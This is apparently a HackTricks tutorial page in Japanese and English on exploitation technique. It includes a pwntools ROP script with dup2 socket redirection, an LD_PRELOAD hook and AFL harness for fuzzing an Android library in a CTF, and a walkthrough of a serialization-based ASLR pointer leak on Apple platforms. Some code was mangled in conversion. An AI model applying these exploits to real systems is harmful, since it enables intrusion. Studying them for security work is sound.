Common Exploiting Problems

Tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

FDs in Remote Exploitation

例えば、リモートサーバに exploit を送り、サーバ側で system('/bin/sh') が呼ばれると、このコマンドはサーバプロセス内で実行されます。/bin/sh は stdin (FD: 0) からの入力を期待し、stdout と stderr (FDs 12) に出力を行います。そのため、攻撃者はそのままではシェルと対話できません。

対処法の一つは、サーバ起動時にリッスン用の FD number 3 を作成しており、接続は FD number 4 に割り当てられる、と想定することです。そうすれば、syscall の dup2 を使って stdin (FD 0) と stdout (FD 1) を攻撃者の接続が割り当てられた FD 4 に複製でき、シェルが実行された後に接続して対話できるようになります。

Exploit example from here

from pwn import *

elf = context.binary = ELF('./vuln')
p = remote('localhost', 9001)

rop = ROP(elf)
rop.raw('A' * 40)
rop.dup2(4, 0)
rop.dup2(4, 1)
rop.win()

p.sendline(rop.chain())
p.recvuntil('Thanks!\x00')
p.interactive()

Socat & pty

Note that socat already transfers stdin and stdout to the socket. However, the pty mode include DELETE characters. So, if you send a \x7f ( DELETE -)it will delete the previous character of your exploit.

In order to bypass this the escape character \x16 must be prepended to any \x7f sent.

ここで find an example of this behaviour.

Android AArch64 shared-library fuzzing & LD_PRELOAD hooking

Androidアプリがストリップ済みのAArch64 .so のみを配布している場合でも、APKを再構築せずにデバイス上でエクスポートされたロジックを直接fuzzできます。実用的なワークフロー:

  1. Locate callable entry points. objdump -T libvalidate.so | grep -E "validate" quickly lists exported functions. 逆コンパイラ(Ghidra、IDA、BN)で実際のシグネチャが分かります。例: int validate(const uint8_t *buf, uint64_t len).
  2. Write a standalone harness. ファイルをロードし、バッファを保持したまま、アプリと同様にエクスポートされたシンボルを呼び出します。NDKでクロスコンパイルする(例: aarch64-linux-android21-clang harness.c -L. -lvalidate -fPIE -pie)。
最小限のファイル駆動ハーネス ```c #include #include #include #include #include #include

extern int validate(const uint8_t *buf, uint64_t len);

int main(int argc, char **argv) { if (argc < 2) return 1; int fd = open(argv[1], O_RDONLY); if (fd < 0) return 1; struct stat st = {0}; if (fstat(fd, &st) < 0) return 1; uint8_t *buffer = malloc(st.st_size + 1); read(fd, buffer, st.st_size); close(fd); int ret = validate(buffer, st.st_size); free(buffer); return ret; }

</details>

3. **期待される構造を再構築する。** Ghidraのエラーストリングと比較から、その関数は定数キー(`magic`, `version`, ネストした`root.children.*`)を持つ厳格なJSONをパースし、算術チェック(例: `value * 2 == 84` ⇒ `value`は`42`でなければならない)を行っていることがわかった。各分岐を順に満たす構文的に有効なJSONを与えることで、インストルメンテーションせずにスキーマをマッピングできる。
4. **アンチデバッグをバイパスして機密情報を leak する。** その `.so` が `snprintf` をインポートしているため、`LD_PRELOAD` でオーバーライドして、ブレークポイントがブロックされている場合でも機密のフォーマット文字列をダンプする:

<details>
<summary>Minimal snprintf leak hook</summary>
```c
#define _GNU_SOURCE
#include <dlfcn.h>
#include <stdarg.h>
#include <stdio.h>
#include <string.h>

typedef int (*vsnprintf_t)(char *, size_t, const char *, va_list);

int snprintf(char *str, size_t size, const char *fmt, ...) {
static vsnprintf_t real_vsnprintf;
if (!real_vsnprintf)
real_vsnprintf = (vsnprintf_t)dlsym(RTLD_NEXT, "vsnprintf");

va_list args;
va_start(args, fmt);
va_list args_copy;
va_copy(args_copy, args);
if (fmt && strstr(fmt, "MHL{")) {
fprintf(stdout, "[LD_PRELOAD] flag: ");
vfprintf(stdout, fmt, args);
fputc('\n', stdout);
}
int ret = real_vsnprintf(str, size, fmt, args_copy);
va_end(args_copy);
va_end(args);
return ret;
}

LD_PRELOAD=./hook.so ./validate_harness payload.json は内部 flag を exfiltrates し、バイナリをパッチせずに crash oracle を確認します。 5. Shrink the fuzz space. Disassembly により flag 比較で再利用される XOR key が判明し、flag の最初の7バイトが既知であることが分かった。未知の9バイトだけを fuzz する。 6. Embed fuzz bytes inside a valid JSON envelope. AFL harness は stdin からちょうど9バイトを読み取り、それらを flag の接尾辞にコピーし、他のすべてのフィールド(constants, tree depths, arithmetic preimage)をハードコードする。読み取りが不正だと単に終了するため、AFL は有意味な testcases にサイクルを費やす:

Minimal AFL harness ```c #include #include #include #include

extern int validate(unsigned char *bytes, size_t len);

#define FUZZ_SIZE 9

int main(void) { uint8_t blob[FUZZ_SIZE]; if (read(STDIN_FILENO, blob, FUZZ_SIZE) != FUZZ_SIZE) return 0; char suffix[FUZZ_SIZE + 1]; memcpy(suffix, blob, FUZZ_SIZE); suffix[FUZZ_SIZE] = ‘\0’; char json[512]; int len = snprintf(json, sizeof(json), “{"magic":16909060,"version":1,"padding":0,"flag":"MHL{827b07c%s}",”
“"root":{"type":16,"level":3,"num_children":1,"children":[”
“{"type":32,"level":2,"num_children":1,"subchildren":[”
“{"type":48,"level":1,"num_children":1,"leaves":[”
“{"type":64,"level":0,"reserved":0,"value":42}]}}]}}”, suffix); if (len <= 0 || (size_t)len >= sizeof(json)) return 0; validate((unsigned char *)json, len); return 0; }

</details>

7. **AFLをcrash-as-success oracleで実行する。** すべてのセマンティックチェックを満たし、正しい9バイトのサフィックスを当てた入力は意図的なクラッシュを引き起こす;それらのファイルは`output/crashes`に入れられ、簡易ハーネスでリプレイしてsecretを回収できる。

このワークフローにより、anti-debug-protected JNI バリデータを素早くトリアージし、必要に応じて秘密をleakし、その後意味のあるバイトのみをファズングする、ということが元のAPKに触れずに可能になる。

## Image/Media Parsing Exploits (DNG/TIFF/JPEG)

悪意あるカメラフォーマットはしばしば独自のbytecode(opcode lists、map tables、tone curves)を同梱する。特権付きデコーダがメタデータ由来の寸法やplane indicesを境界チェックしない場合、それらのopcodeは攻撃者制御のread/writeプリミティブとなり、heapを整形したり、ポインタをpivotしたり、あるいはASLRをleakしたりする。Samsungのin-the-wild Quram exploitは、`DeltaPerColumn`のboundsバグ、スキップされたopcodeによるheap spraying、vtable remapping、そして`system()`へのJOPチェインを連鎖させた最近の例である。

<a class="content_ref" href="../mobile-pentesting/android-app-pentesting/abusing-android-media-pipelines-image-parsers.md"><span class="content_ref_label">Abusing Android Media Pipelines Image Parsers</span></a>

## Apple Serialization における Pointer-Keyed Hash Table Pointer Leaks

### Requirements & attack surface

- サービスが攻撃者制御の property lists (XML or binary) を受け取り、寛容なallowlist(例: `NSDictionary`, `NSArray`, `NSNumber`, `NSString`, `NSNull`)で `NSKeyedUnarchiver.unarchivedObjectOfClasses` を呼ぶ。
- 結果として得られたオブジェクトが再利用され、後で `NSKeyedArchiver` で再シリアライズされる(または決定論的なバケット順で反復される)ことがあり、攻撃者へ返送される。
- コンテナ内のあるキー型がハッシュコードとしてポインタ値を使う。2025年3月以前、`CFNull`/`NSNull`は `CFHash(object) == (uintptr_t)object` にフォールバックしており、デシリアライズは常に共有キャッシュのシングルトン `kCFNull` を返していたため、メモリ破壊やタイミング無しで安定したカーネル共有ポインタを得られた。

### Controllable hashing primitives

- **Pointer-based hashing:** `CFNull` の `CFRuntimeClass` はハッシュコールバックを持たないため、`CFBasicHash` はオブジェクトアドレスをハッシュとして使う。シングルトンは再起動まで固定のshared-cacheアドレスに存在するため、そのハッシュはプロセス間で安定する。
- **Attacker-controlled hashes:** 32-bit `NSNumber` キーは `_CFHashInt` を通してハッシュされ、これは決定論的かつ攻撃者が制御可能である。特定の整数を選ぶことで、任意のテーブルサイズに対して `hash(number) % num_buckets` を攻撃者が選べる。
- **`NSDictionary` implementation:** イミュータブルな辞書は `CFBasicHash` を埋め込み、素数のバケット数を `__CFBasicHashTableSizes` から選ぶ(例: 23, 41, 71, 127, 191, 251, 383, 631, 1087)。衝突は線形プロービング(`__kCFBasicHashLinearHashingValue`)で処理され、シリアライズは数値順にバケットを走査する;したがってシリアライズされたキーの順序は各キーが最終的に占めたバケットインデックスをエンコードする。

### Encoding bucket indices into serialization order

バケットが占有と空スロットを交互にするような辞書を具現化するplistを作ることで、攻撃者は線形プロービングが `NSNull` を配置できる場所を制約できる。7バケットの例では、偶数バケットを `NSNumber` キーで埋めると:
```text
bucket:          0 1 2 3 4 5 6
occupancy:       # _ # _ # _ #

デシリアライズ中に、被害者は単一の NSNull キーを挿入します。初期のバケットは hash(NSNull) % 7 ですが、プロービングにより {1,3,5} のいずれかの空きインデックスに到達します。シリアライズされたキーの順序はどのスロットが使われたかを明らかにし、ポインタのハッシュを7で割った剰余が {6,0,1}、{2,3}、または {4,5} のどれに属するかを示します。攻撃者が元のシリアライズ順序を制御できるため、入力 plist では NSNull キーが最後に出力され、再デシリアライズ後の並びはバケットの配置だけに依存します。

補完テーブルによる正確な剰余の特定

単一の dictionary は剰余の範囲しか leaks しません。hash(NSNull) % p の正確な値を決定するために、素数バケットサイズ p ごとに2つの dictionaries を構築します: 偶数バケットを pre-filled したものと奇数バケットを pre-filled したもの。補完パターン (_ # _ # _ # _) では、空きスロット (0,2,4,6) は剰余集合 {0}, {1,2}, {3,4}, {5,6} に対応します。両方の dictionary における NSNull のシリアライズ順を観察すると、2つの候補集合の交差がその p に対して一意の r_i を与えるため、剰余は単一の値に絞り込まれます。

攻撃者はすべての dictionaries を NSArray にまとめるため、単一の deserialize → serialize round trip で選択した各 table size の剰余を leaks します。

64ビット shared-cache ポインタの再構築

素数 p_i ∈ {23, 41, 71, 127, 191, 251, 383, 631, 1087} ごとに、攻撃者はシリアライズ順序から hash(NSNull) ≡ r_i (mod p_i) を復元します。拡張ユークリッドのアルゴリズムを用いて Chinese Remainder Theorem (CRT) を適用すると次が得られます:

Π p_i = 23·41·71·127·191·251·383·631·1087 = 0x5ce23017b3bd51495 > 2^64

したがって結合された剰余は一意に64ビットポインタ kCFNull に等しくなります。Project Zero PoC は中間の法 (moduli) を出力しながら合同式を反復的に結合し、真のアドレス(脆弱なビルドでは 0x00000001eb91ab60)への収束を示します。

実践的なワークフロー

  1. Generate crafted input: 攻撃者側の XML plist(各素数につき 2 つの dictionary、NSNull を最後にシリアライズ)を作成し、バイナリ形式に変換します。
clang -o attacker-input-generator attacker-input-generator.c
./attacker-input-generator > attacker-input.plist
plutil -convert binary1 attacker-input.plist
  1. Victim round trip: 被害者サービスは許可されたクラス集合 {NSDictionary, NSArray, NSNumber, NSString, NSNull} を使って NSKeyedUnarchiver.unarchivedObjectOfClasses でデシリアライズし、その直後に NSKeyedArchiver で再シリアライズします。
  2. Residue extraction: 返ってきた plist を再び XML に戻すと dictionary のキー順序が分かります。extract-pointer.c のようなヘルパーは object table を読み、シングルトン NSNull のインデックスを特定し、各 dictionary ペアをバケット剰余にマッピングして CRT system を解き、shared-cache ポインタを復元します。
  3. Verification (optional): CFHash(kCFNull) を出力する小さな Objective-C ヘルパーをコンパイルすると、the leaked value が実際のアドレスと一致することを確認できます。

メモリ安全性のバグは不要です — 単にポインタをキーにした構造のシリアライズ順序を観察するだけで、リモート ASLR バイパスのプリミティブが得られます。

関連ページ

Common Exploiting Problems Unsafe Relocation Fixups

Reversing Native Libraries

Reversing Tools & Basic Methods

References

Tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする